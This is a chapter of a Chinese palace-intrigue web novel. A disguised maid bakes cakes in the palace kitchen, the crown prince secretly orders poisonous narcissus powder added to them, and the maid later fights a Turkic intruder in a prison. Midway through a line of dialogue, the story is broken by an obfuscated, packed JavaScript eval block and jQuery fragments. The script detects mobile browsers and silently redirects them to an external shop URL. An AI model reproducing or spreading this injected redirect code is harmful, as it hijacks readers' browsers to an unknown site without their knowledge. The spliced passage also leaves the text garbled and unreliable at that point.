7. 相似之人
    突厥外使此次来朝,说是来邦交朝贡,明眼人却都明白实为索回被俘的突厥将军阿尔斯兰。

    两国刚交战不久,关系剑拔弩张,此番外宴断不可有丝毫差池。

    老皇帝圣体欠佳,招待之事全权托于太子尚说,若这次尚说能将此事处理妥当,下一步便可放心他掌管监国大权。但倘若稍有差错,后果则不堪设想

    为招待外使,御膳房忙得不可开交。余熙反倒又闲了下来。

    她静静坐在长廊的靠椅上,凝望着深秋的小花园。此时节,花已凋零,枝头上仅余的叶片也在寒风中摇曳。

    一片枯黄落叶乘风缓缓落在余熙腿上,她低头将那片枯叶拾起,心思微动。

    她在东宫也待了有些时日了,虽说只是个粗使宫女,却连一件脏活累活都没做过,过去手上在燕王府留下的伤疤,如今竟也渐渐淡去。

    那时她只想着复仇,誓要尚说偿命。燕王教她武艺,她便拼尽全力,苦练剑术刀法,将府中刀枪悉数习得,一双曾执笔丹青的巧手硬生生磨出了刀痕与剑意。

    手掌上每一条狰狞伤疤,都在叫嚣着她大仇未报。

    “余姐姐?”

    正恍神间,身前响起清脆女声。

    余熙连忙抬头,瞧着面前立着个戴白花的清秀小宫女,她身后还跟着好几个同行的小宫女。

    是常露。

    “何事?”余熙问。

    常露身后的小宫女上前来将她从椅上拉起来,常露甜甜笑道:“余姐姐,御膳房忙不过来了,我们想着若是其余干事儿的宫女姐姐们得空,能来御膳房帮帮忙。”

    还未等余熙回应,她就被常露的小姐妹围了起来,齐齐将她往御膳房推。

    “可是……我的厨艺实在拙劣,只怕帮不上什么忙”余熙只觉得她们天真可爱,“刀工也不行,顶多替你们洗洗菜罢了。”

    从前她不需亲自下厨,即便是在燕王府中,各式刀剑她皆通晓,也唯独未曾碰过菜刀。

    常露道:“余姐姐不必担心,我教你做糕点吧,十分简单。”

    一群小宫女推推搡搡地把余熙带到了御膳房。

    御膳房内果然热闹,众人正各司其职,忙碌不已,唯独一位漂亮的姑娘只坐在一旁,静静瞧着宫女们做事。

    这位漂亮姑娘的服饰也于寻常宫女不同,看着比内侍的服饰都要考究,余熙本以为她或许是东宫里哪位良娣宝林,偏偏她身侧又连一个贴身宫女都没有。

    推着余熙进来的几个小宫女一瞧见她,立即整齐地行礼道:“荀良娣万安。”

    竟还真是个良娣。

    余熙也忙弯身:“良娣万安。”

    竟也姓荀。

    荀良娣见着余熙,似有些吃惊,直直盯了她些时候。

    “奴婢...脸上有东西?”余熙问,“良娣有何吩咐。”

    “无事。”荀良娣摇了摇头,“我的猫儿踏云不见了,你们可有见着?”

    常露与几名小宫女皆摇头。

    这时,两名宫女匆匆抱着一只圆滚滚的白猫赶了过来,气喘吁吁地说道:“良娣,踏云找着了。

    那两名宫女走到荀良娣身边,瞅见了余熙,竟也是和良娣方才一模一样的表情。

    余熙不明白她们这是何意。

    好在那两名宫女迅速又做回了自己的事,将踏云递给了荀良娣。

    “踏云贪嘴,怕是跑到厨房偷食了。你们待会儿和管事的说一声,少了的算在我账上便是。”荀良娣起身,摸了摸踏云的小脑袋。

    踏云眯起眼睛,一脸惬意。

    “恭送良娣。”

    余熙无意间瞥见荀良娣那一双雪白的手上也竟有几道疤痕,虽有护甲掩盖着,但仍清晰可见

    良娣身份尊贵,手上缘何会有如此多的伤疤?

    等荀良娣走远,常露拉着余熙到一张方桌旁,桌上备着案板、面粉、清水与模印,还有一堆红色粉末。

    “余姐姐,你就来帮忙做糕点吧。”常露拉过余熙的手,停了片刻。

    常露不说话,兴许是她瞧见了自己这双手上不仅生满了冻疮,还密密麻麻着好些疤痕,被吓住了?

    “我的这一双手,是不是很丑?”余熙调侃着问道。

    “不丑。”常露握住余熙的手,认真答道,“这是能作出妙画的手,又怎会丑呢?”

    余熙笑了,这小丫头还记着昨日白安的事。

    “时不我待,我们现在就动手吧。”常露道,“我来教姐姐,做桃花糕。”

    “眼看冬至将至,哪还有桃花?再者,像我这等不谙厨艺之人,能做出给外宾献礼的糕点吗?”余熙笑着,用清水净了净手。

    常露轻笑道:“姐姐不必忧心,这桃花糕只是给我们私下品尝的,外宴上的糕点自有御厨准备。今日见姐姐独自坐在院中无趣,便想着邀姐姐来御膳房热闹一番。”

    余熙心中暗自叹道,果然是几个体贴的小丫头,尤其是常露,昨日对她还心存芥蒂,今日竟主动邀她同行,心意可见。

    此时,一名盯着余熙许久的小宫女忽然开口:“余姐姐,方才我才发现,你与荀良娣颇有几分相似呢!”

    一旁的常露连忙捂住那小宫女的嘴:“嘴上没个把门儿的,贵人也是你我能在私底下议论的?”

    余熙却听得一怔,恍然间想起方才荀良娣的神情,心下顿悟。

    她已经许久不曾认真照过镜子了,方才那良娣之貌,与她似乎确又几分相似。

    “我自是不敢与良娣相提并论。”余熙轻笑道,抓起一把面粉。

    ......

    东宫主殿,一个小太监急匆匆跑来,对着已等候多时的文霆悄悄说了几句。

    文霆神色一紧,立刻入殿禀报:“殿下!”

    “查得怎么样了?”尚说问。

    文霆答道:“殿下明鉴,余姑娘果真是被人诬陷。”

    尚说听着这本来是好消息的禀报,神色倒难看了些:“那便好。”

    有了上回的经验,文霆这回再不敢对太子爷的心思妄加揣测,问道:“殿下,接下来该如何处置此事?”

    “可知余熙现下在做何事?”

    “在御膳房学做糕点。”文霆回道。

    听了答复,尚说合上了手上的《孝经》,并未立即言语。

    文霆自六岁便入宫做了尚说的贴身侍卫,尽心服侍,可一晃十几年,饶是他这个日日相伴身旁的人也依旧猜不准摸不透太子爷都在想些什么。自从先皇后过世,他的主子便再不与任何人商讨事宜,所思所想连教书先生都不透露。

    许久沉默之后,尚说才开口道:“秘传至御膳房,让人再做一份一模一样的糕点。夏时的水仙花应尚有存吧,磨成粉,加在其中。”

    “殿下,水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134264|150017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    仙花不是有毒吗?”文霆一怔,小心翼翼地问。

    可尚说向来都是全凭心情解答他的疑惑。眼看着这疑问又被主子扔在地上了,文霆有些委屈道,“臣知道了。”

    尚说满意地望了他一眼,又翻开手里的《孝经》:“这回学会了少说多听,不错。外宴将至,孤日夜繁忙,确实无暇解答你的疑问。”

    文霆暗自叹息:不过一句话的事,主子您至于么。

    .......

    余熙今日同常露她们做了半天的糕点,很是高兴。

    这还是自从阿姐离世,她第一次感受到姐妹情谊。

    洗漱时,连铜镜都能映出她眉眼间久违的笑意。

    窗边又多了几片夹竹桃花瓣。

    一次或许是误赠,两次多半便是刻意为之了。

    究竟是谁在给她暗中递送这剧毒之花?

    余熙打开梳妆盒,又放了进去。

    才得了燕王通信。

    明日便是突厥使臣的外宴,老皇帝虽未亲自主持,然对这次外宴却尤为重视。只要尚说稍有差错,便会摔个粉身碎骨。

    可燕王想出来对付尚说的法子竟是让她去偷还在牢里的突厥将军的令将牌。

    余熙不免觉得尚潜令脑子不好。

    堂堂燕王府,又不是无人可用,他豢养的死士高手不在少数,每每却独喜欢让她去做这样凶险的事情。

    明日即是外宴,若是会谈顺利,阿尔斯兰恐便会被接离。

    她动手的机会,唯有今夜。

    换上夜行衣,余熙依照尚潜令告知的守卫调换空档,悄然潜入大牢。

    牢内阴湿昏暗,酒气四散,几名狱卒玩忽职守,喝得烂醉如泥,东倒西歪。

    余熙动手敲晕了唯一还清醒着的狱卒,扒下他的衣服自己换上。

    运气还挺好,恰好此人还是头目模样,腰间挂有牢房钥匙。

    她低着头往里走,沿途或睡或醒的囚犯并未引起她多留心,然而心中却渐生疑虑

    ——为何越接近重犯之处,反倒不见任何狱卒,这种异常情形未免太过诡异。

    直至走到关押死刑犯和战俘的囚间,她才恍然明白了缘由。

    眼前是昏沉倒地的狱卒们,仿佛死尸般被人横七竖八堆在角落。

    余熙的目光落在牢房深处,看见了还醒着的那位突厥将军阿尔斯兰,他宽肩窄腰,银发深肤,也正自牢内打量着她。

    牢外还站着另一个穿着突厥服饰的男人,头顶羽毛毡帽,鼻上戴着一圈银灿灿的鼻环。手里拿着一个状若短笛的物件。

    想必便是打昏那一堆狱卒的罪魁祸首。

    那突厥人对她的出现似乎颇为惊异。紧紧盯着她,将那物件放在了嘴旁。

    余熙心中警铃大作,本能般侧了身。

    “唰——”

    一根细针自笛孔中疾射而出,擦着余熙的脸颊掠过,只差分毫便中招。

    只差一点点。

    余熙直觉不妙。明日便已是突厥寿宴,今晚阿尔斯兰的牢前怎会出现突厥人,此行径岂非弄巧成拙,自断两国相安之局?

    牢外站着的突厥人见她避过细针,眉头一皱,自腰间抽出两把弯刀,朝她奔了来。

    这身狱卒服所配的不过是把笨重的砍刀,余熙顾不上刀是否锋利,她握稳砍刀,屏息凝神,紧盯着那突厥人向她挥来的双刀。